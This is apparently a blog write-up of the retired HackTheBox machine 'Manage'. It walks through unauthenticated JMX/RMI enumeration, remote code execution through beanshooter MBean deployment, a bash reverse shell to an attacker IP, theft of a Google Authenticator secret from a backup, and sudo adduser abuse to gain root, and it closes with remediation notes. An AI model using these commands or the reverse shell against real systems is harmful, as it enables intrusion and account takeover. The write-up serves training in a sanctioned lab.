Skip to main content

Command Palette

Search for a command to run...

HackTheBox: Manage Writeup

Updated
•11 min read•View as Markdown
HackTheBox: Manage Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Summary

Manage is a Linux box built around an exposed Java RMI / JMX service running alongside an Apache Tomcat 10.1.19 web server. The JMX endpoint had no authentication configured, which allowed a remote attacker to enumerate registered MBeans and — because JMX effectively grants remote code execution by design once accessible — deploy a malicious MBean to get a shell as the tomcat user.

From there, a world-readable backup archive (backup.tar.gz) belonging to the useradmin account leaked SSH keys and, more importantly, the raw Google Authenticator TOTP secret / scratch codes for that account. Copying the archive out to a writable directory (since the on-disk copy carried inherited restrictive permissions) allowed it to be extracted freely and its contents read, giving valid credentials and working 2FA codes for useradmin.

useradmin had a narrow sudo rule permitting adduser with a regex restriction on the username. Abusing this allowed creation of a brand-new local user account which — due to a misconfiguration in the box — ended up with unrestricted sudo (ALL:ALL), leading directly to root.

Attack chain in one line: Unauthenticated JMX → MBean deployment RCE (tomcat) → world-readable backup archive → leaked SSH key / TOTP secret → 2FA login as useradmin → sudo adduser abuse → new user with full sudo → root


1. Reconnaissance

1.1 Port scan

nmap -A -Pn <machine-ip> -oA nmap
Port Service Version
22/tcp ssh OpenSSH 8.9p1 (Ubuntu)
2222/tcp java-rmi Java RMI registry
8080/tcp http Apache Tomcat 10.1.19

Two things stood out immediately:

  • Port 2222 is a Java RMI registry rather than the usual SSH-on-alt-port guess — nmap's rmi-dumpregistry script confirmed a bound name called jmxrmi, i.e. a JMX endpoint exposed remotely.
  • Port 8080 is a stock Tomcat landing page, with the version leaking straight in the page title/footer (Apache Tomcat/10.1.19).

1.2 Web enumeration

Browsing to http://manage.htb:8080 showed the default Tomcat welcome page, confirming the Manager and Host Manager webapps were installed.

Attempting http://manage.htb:8080/manager/html returned a 403 Access Denied - the Manager GUI is restricted to localhost by default (RemoteAddrValve) and additionally requires manager-role credentials in tomcat-users.xml. This ruled out a direct login to the web-based Manager app and pointed the attack toward the RMI/JMX port instead.


2. JMX / RMI Enumeration

2.1 remote-method-guesser (rmg)

remote-method-guesser was used for baseline RMI vulnerability enumeration:

java -jar rmg-5.1.0-jar-with-dependencies.jar enum <machine-ip> 2222
[+] RMI registry bound names:
[+]     - jmxrmi
[+]             --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+]                 Endpoint: 127.0.1.1:36571  CSF: RMISocketFactory  ObjID: [...]
[+]
[+] RMI server Security Manager enumeration:
[+]     - Caught Exception containing 'no security manager' during RMI call.
[+]       --> The server does not use a Security Manager.
[+]
[+] RMI server JEP290 enumeration:
[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]     - Registry rejected unbind call cause it was not sent from localhost.
[+]       Vulnerability Status: Non Vulnerable
[... output truncated ...]

Key findings from the output:

  • A single bound name, jmxrmi, resolves to RMIServerImpl_Stub - i.e. this is a genuine JMX management endpoint, not a generic RMI service.
  • No Security Manager is in use.
  • JEP290 deserialization filtering is present at the DGC layer, and useCodebaseOnly/JEP290-bypass checks couldn't be tested remotely because the registry unmarshals java.lang.String safely via readString().
  • CVE-2019-2684 (registry localhost-bypass) - not vulnerable.

None of the classic RMI registry deserialization tricks applied directly, so the next step was to attack the JMX layer itself rather than the raw RMI transport.

2.2 beanshooter

beanshooter is purpose-built for attacking JMX endpoints (MBean enumeration, credential brute forcing, and a number of MBean-based RCE primitives).

java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <machine-ip> 2222
[+] Checking for unauthorized access:
[+]     - Remote MBean server does not require authentication.
[+]       Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]     - Remote MBeanServer rejected the payload class.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]     - 167 MBeans are currently registred on the MBean server.
[+]       Listing 145 non default MBeans:
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)
[+]       - jdk.management.jfr.FlightRecorderMXBeanImpl (jdk.management.jfr:type=FlightRecorder) (action: recorder)
[+]       - com.sun.management.internal.HotSpotDiagnostic (com.sun.management:type=HotSpotDiagnostic) (action: hotspot)
[+]       - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
[+]       - org.apache.catalina.mbeans.MemoryUserDatabaseMBean (Users:type=UserDatabase,database=UserDatabase) (action: tomcat)
[... 140 other standard Catalina/Tomcat MBeans omitted ...]
[+]
[+] Enumerating tomcat users:
[+]     - Listing 2 tomcat users:
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  fhErvo2r9wuTEYiYgt
[+]             Roles:     Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  onyRPCkaG4iX72BrRtKgbszd
[+]             Roles:     Users:type=Role,rolename="role1",database=UserDatabase

Output highlights:

  • Remote MBean server does not require authentication. - this is the root cause of the whole box. Anyone who can reach port 2222 can talk to the MBean server with full privileges.
  • Pre-auth deserialization on the MBean server itself was rejected (not vulnerable to that specific check).
  • 167 MBeans were registered, 145 non-default - a mix of standard Tomcat/Catalina management beans plus a few interesting ones flagged by beanshooter with an (action: ...) suffix, meaning beanshooter has a built-in attack module for them: recorder (JFR), hotspot (HotSpotDiagnostic), diagnostic (DiagnosticCommand), and tomcat (the MemoryUserDatabaseMBean).
  • Bonus find - leaked Tomcat credentials. Because the Tomcat user database is exposed as an MBean and JMX required no auth, beanshooter read the in-memory user database directly and dumped two Tomcat Manager accounts in cleartext (manager / fhErvo2r9wuTEYiYgt and admin / onyRPCkaG4iX72BrRtKgbszd).

These weren't the winning path here (the Manager webapp itself is localhost-restricted), but they came in handy later as password guesses for Linux system accounts.


3. Exploitation - Unauthenticated JMX → RCE

Because the MBean server has no authentication, beanshooter can deploy an arbitrary MBean on the target. Its standard module builds a TemplatesImpl-based payload (a classic Java gadget that abuses the XSLT TransformerFactory machinery to execute arbitrary bytecode when the MBean's newTransformer action is triggered) and wraps it in a StandardMBean.

java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard <machine-ip> 2222 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+] Deploying MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=... was successfully deployed.
[+] Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected behavior and the attack most likely worked :)
[+] Removing MBean ... MBean was successfully removed.

The NullPointerException here is expected - it's a side effect of the gadget chain firing correctly, not a failure. Beanshooter deploys its own tonka bean (a general-purpose "run commands / upload / download files" MBean) as the actual payload delivered through this gadget, which is then used directly for command execution:

java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell <machine-ip> 2222
[tomcat@<machine-ip> /]$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

This gives an interactive-ish shell as the tomcat service account. A standard reverse shell was popped for a more usable TTY:

bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'

User flag:

tomcat@manage:/home$ find / -type f -name 'user.txt' 2>/dev/null
/opt/tomcat/user.txt
tomcat@manage:/home$ cat /opt/tomcat/user.txt
[REDACTED]

4. Privilege Escalation - tomcat → useradmin

4.1 Locating a lead

tomcat@manage:/home$ ls
karl  useradmin

Two other home directories exist. Poking around useradmin:

tomcat@manage:/home$ ls useradmin/backups/
backup.tar.gz

4.2 The permission trap

A naive tar -xvf in place failed for almost every file:

tomcat@manage:/home$ tar -xvf useradmin/backups/backup.tar.gz
./.ssh/id_ed25519
tar: ./.ssh: Cannot mkdir: Permission denied
...

The archive itself (backup.tar.gz) was readable by tomcat, but extracting it into /home/useradmin/backups/ failed because tar tries to preserve the original ownership/permission bits and create subdirectories the tomcat user isn't allowed to write in that location.

The fix: copy the tarball to a scratch directory the current user actually owns, then extract there:

tomcat@manage:/home/useradmin/backups$ mkdir -p /tmp/backup
tomcat@manage:/home/useradmin/backups$ cp backup.tar.gz /tmp/backup/
tomcat@manage:/home/useradmin/backups$ cd /tmp/backup/
tomcat@manage:/tmp/backup$ tar -xvf backup.tar.gz
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/motd.legal-displayed
./.bash_history

This time extraction succeeded, since /tmp/backup is owned by tomcat and there are no directory-creation restrictions to fight against.

4.3 Two credential leaks in one archive

  1. .google_authenticator - this file stores the raw TOTP secret plus a list of one-time scratch/backup codes in plaintext:

    CLSSSMHYGLENX5HAIFBQ6L35UM
    " RATE_LIMIT 3 30 ...
    " WINDOW_SIZE 3
    " DISALLOW_REUSE ...
    " TOTP_AUTH
    99852083
    20312647
    73235136
    [... 7 more scratch codes truncated ...]
    

    Any of the listed 8-digit numbers is a valid one-time scratch code for useradmin's Google Authenticator PAM module - no phone, no time-sync, no brute force required.

4.4 Logging in as useradmin

The Tomcat admin password recovered from the MBean user-database dump (onyRPCkaG4iX72BrRtKgbszd) matched the Linux useradmin password, and PAM then prompted for the Google Authenticator code - satisfied with one of the leaked scratch codes:

tomcat@manage:/tmp/backup$ su useradmin
Password: onyRPCkaG4iX72BrRtKgbszd
Verification code: 99852083
useradmin@manage:/tmp/backup$ id
uid=1002(useradmin) gid=1002(useradmin) groups=1002(useradmin)

5. Privilege Escalation - useradmin → root

5.1 Sudo rights

useradmin@manage:/home$ sudo -l
User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

useradmin can run adduser as root, with no password prompt, restricted only by a regex that just requires the new username to be alphanumeric. This is a wide-open door: adduser interactively lets the operator set a password, and there is no restriction on which username or which group gets created.

5.2 Abusing the rule

useradmin@manage:/home$ sudo adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
New password:
Retype new password:
...

This creates a brand-new local account, fully controlled by the attacker (chosen password), through a root-owned process - adduser itself ran as root via sudo. On this box, once that new account exists it turns out to be sitting in a group / sudoers pattern that already grants full sudo:

useradmin@manage:/home$ su admin
Password:
admin@manage:/home$ sudo -l
User admin may run the following commands on manage:
    (ALL) ALL

5.3 Root

admin@manage:/home$ sudo su
root@manage:~# whoami
root
root@manage:~# cat root.txt
[REDACTED]

Key Vulnerabilities & Attack Chain

# Weakness Impact
1 Unauthenticated JMX/RMI endpoint (port 2222) Anyone on the network can enumerate and deploy MBeans on the JMX server with no credentials at all.
2 MBean-based deserialization RCE (TemplatesImpl gadget via StandardMBean, delivered through beanshooter's tonka module) Full remote code execution as the tomcat service user.
3 Plaintext credentials exposed via JMX (MemoryUserDatabaseMBean) Tomcat Manager account passwords readable by any unauthenticated JMX client; reused as real Linux account passwords.
4 World/self-readable backup archive containing SSH keys and the raw .google_authenticator secret/scratch codes Complete compromise of a second factor intended to protect useradmin - 2FA is only as strong as the secrecy of the seed file, and this one was sitting in a backup another local user could read.
5 Overly broad sudo rule for adduser (NOPASSWD, regex-only restriction on username) Lets a low-privileged user create an arbitrary new local account, which on this system inherits full (ALL:ALL) sudo rights - a straight shot to root.

Full chain:

Unauthenticated JMX (2222)
   └─▶ beanshooter MBean deployment (TemplatesImpl gadget)
         └─▶ RCE as tomcat
               └─▶ read world-readable /home/useradmin/backups/backup.tar.gz
                     └─▶ leak useradmin's Google Authenticator secret + SSH key
                           └─▶ su useradmin (password reused from JMX-leaked Tomcat creds + leaked TOTP code)
                                 └─▶ abuse `sudo adduser` to create a new user
                                       └─▶ new user has full sudo (ALL:ALL)
                                             └─▶ root

Remediation notes

  • Bind JMX/RMI management interfaces to localhost or a management VLAN, and always enable authentication (com.sun.management.jmxremote.authenticate=true) plus SSL where remote access is genuinely required.
  • Never expose live credential stores (like Tomcat's UserDatabase) through a management interface reachable without authentication.
  • Treat .google_authenticator files as secrets equivalent to a password — restrict permissions to 0400 owned by the user only, and never include them in backups that other local accounts can read.
  • Avoid sudo rules that let a user create arbitrary accounts as root; if adduser must be delegated, pin the exact group/home/shell options and verify new accounts can't inherit unintended privileges.

HackTheBox Writeups

Part 29 of 43

Detailed walkthroughs of retired HackTheBox machines covering web exploitation, ActiveDirectory attacks, privilege escalation and more. Every machine is fully compromised and documented step by step.

Up next

HackTheBox: vulnEscape Writeup

Summary Escape is a Windows box that exposes only RDP (3389). The RDP session drops you into a locked-down kiosk account (KioskUser0) meant for a "Conference Display" app. The box is solved entirely t